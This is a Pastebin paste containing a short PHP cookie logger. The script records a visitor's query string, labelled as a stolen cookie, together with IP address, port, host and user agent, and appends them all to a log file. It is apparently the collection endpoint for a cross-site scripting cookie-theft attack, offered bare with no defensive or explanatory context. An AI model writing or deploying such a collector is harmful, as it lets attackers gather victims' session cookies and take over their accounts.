Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- $log="log.txt";
- $ip = $_SERVER['REMOTE_ADDR'];
- $cookie = $_SERVER['QUERY_STRING'];
- $rem_host = $_SERVER['REMOTE_HOST'];
- $rem_port = $_SERVER['REMOTE_PORT'];
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- $rqst_method = $_SERVER['METHOD'];
- $file = fopen($log,'a+' ) ;
- echo fwrite($file, "IP: $ip \nPORT: $rem_port \nHOST: $rem_host \nAgent: $user_agent \nMETHOD: $rqst_method \nCOOKIE: $cookie \n\n" ) ;
- fclose($file);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement